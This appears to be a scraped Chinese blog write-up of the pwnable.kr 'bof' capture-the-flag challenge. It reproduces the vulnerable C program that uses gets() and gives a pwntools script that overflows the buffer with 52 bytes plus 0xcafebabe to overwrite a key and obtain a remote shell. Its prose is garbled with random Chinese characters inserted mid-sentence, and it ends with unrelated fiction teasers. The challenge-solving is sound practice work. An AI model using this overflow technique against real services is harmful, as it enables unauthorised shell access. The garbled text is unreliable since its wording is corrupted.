[Toddler's Bottle]-bof

下載好源碼和源文件:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);   // smash me!
    if(key == 0xcafebabe){
            system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}

從源碼可以看出這題大概是要溢出overflowme從而覆蓋key的值為0xcafebabe曹步,只要知道覆蓋的大小是多少即可判没,IDA分析一下

image.png

發(fā)現(xiàn)overflowme的基址為ebp-0x2c,即44個字節(jié)掏呼,再加上ebp和返回地址的8個字節(jié)就是52個字節(jié)贮匕,最后的4個字節(jié)覆蓋key就可以了往史,直接上腳本

from pwn import *
p = remote('pwnable.kr',9000)
playload = 'a'*52
playload += p32(0xcafebabe)
p.sendline(playload)
p.interactive()

拿到flag

image.png
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市黍瞧,隨后出現(xiàn)的幾起案子诸尽,更是在濱河造成了極大的恐慌,老刑警劉巖印颤,帶你破解...
    沈念sama閱讀 222,946評論 6 518
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件您机,死亡現(xiàn)場離奇詭異,居然都是意外死亡年局,警方通過查閱死者的電腦和手機(jī)际看,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 95,336評論 3 399
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來矢否,“玉大人仲闽,你說我怎么就攤上這事〗├剩” “怎么了蔼囊?”我有些...
    開封第一講書人閱讀 169,716評論 0 364
  • 文/不壞的土叔 我叫張陵,是天一觀的道長衣迷。 經(jīng)常有香客問我畏鼓,道長,這世上最難降的妖魔是什么壶谒? 我笑而不...
    開封第一講書人閱讀 60,222評論 1 300
  • 正文 為了忘掉前任云矫,我火速辦了婚禮,結(jié)果婚禮上汗菜,老公的妹妹穿的比我還像新娘让禀。我一直安慰自己,他們只是感情好陨界,可當(dāng)我...
    茶點(diǎn)故事閱讀 69,223評論 6 398
  • 文/花漫 我一把揭開白布巡揍。 她就那樣靜靜地躺著,像睡著了一般菌瘪。 火紅的嫁衣襯著肌膚如雪腮敌。 梳的紋絲不亂的頭發(fā)上阱当,一...
    開封第一講書人閱讀 52,807評論 1 314
  • 那天,我揣著相機(jī)與錄音糜工,去河邊找鬼弊添。 笑死,一個胖子當(dāng)著我的面吹牛捌木,可吹牛的內(nèi)容都是我干的油坝。 我是一名探鬼主播,決...
    沈念sama閱讀 41,235評論 3 424
  • 文/蒼蘭香墨 我猛地睜開眼刨裆,長吁一口氣:“原來是場噩夢啊……” “哼澈圈!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起帆啃,我...
    開封第一講書人閱讀 40,189評論 0 277
  • 序言:老撾萬榮一對情侶失蹤瞬女,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后链瓦,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體拆魏,經(jīng)...
    沈念sama閱讀 46,712評論 1 320
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,775評論 3 343
  • 正文 我和宋清朗相戀三年慈俯,在試婚紗的時候發(fā)現(xiàn)自己被綠了渤刃。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 40,926評論 1 353
  • 序言:一個原本活蹦亂跳的男人離奇死亡贴膘,死狀恐怖卖子,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情刑峡,我是刑警寧澤洋闽,帶...
    沈念sama閱讀 36,580評論 5 351
  • 正文 年R本政府宣布,位于F島的核電站突梦,受9級特大地震影響诫舅,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜宫患,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 42,259評論 3 336
  • 文/蒙蒙 一刊懈、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧娃闲,春花似錦虚汛、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,750評論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至属拾,卻和暖如春将谊,著一層夾襖步出監(jiān)牢的瞬間冷溶,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,867評論 1 274
  • 我被黑心中介騙來泰國打工瓢娜, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留挂洛,地道東北人礼预。 一個月前我還...
    沈念sama閱讀 49,368評論 3 379
  • 正文 我出身青樓眠砾,卻偏偏與公主長得像,于是被迫代替她去往敵國和親托酸。 傳聞我的和親對象是個殘疾皇子褒颈,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,930評論 2 361

推薦閱讀更多精彩內(nèi)容

  • Nana told me that buffer overflow is one of the most comm...
    Umiade閱讀 742評論 0 0
  • 任務(wù)說明書:[pdf] buflab | http://csapp.cs.cmu.edu/public/labs....
    zhwhong閱讀 52,149評論 12 22
  • 肩膀谷丸,寬闊有力 雙臂,黝黑粗壯 雙手应结,老繭重生 看著你刨疼, 眼噙淚水 卻不知該如何表達(dá) 曾經(jīng)的青絲, 如今的白發(fā) 歲...
    亦心伊閱讀 379評論 12 24
  • 其實我一直都不知道愛情究竟是什么鹅龄,盡管看過很多的愛情故事揩慕,自己也經(jīng)歷過好些人,到現(xiàn)在我也沒鬧明白自己想要找的是怎樣...
    李藝晗閱讀 259評論 0 0
  • “蒹葭蒼蒼扮休,白露為霜迎卤。”秋風(fēng)掃過玷坠,蘆葦飄蕩蜗搔,他孤獨(dú)的在岸上尋找若隱若現(xiàn)的身影,如霧如風(fēng)八堡。在明眼看見時樟凄,忽的又隱入岸...
    婆婆納的婆言婆語閱讀 232評論 0 1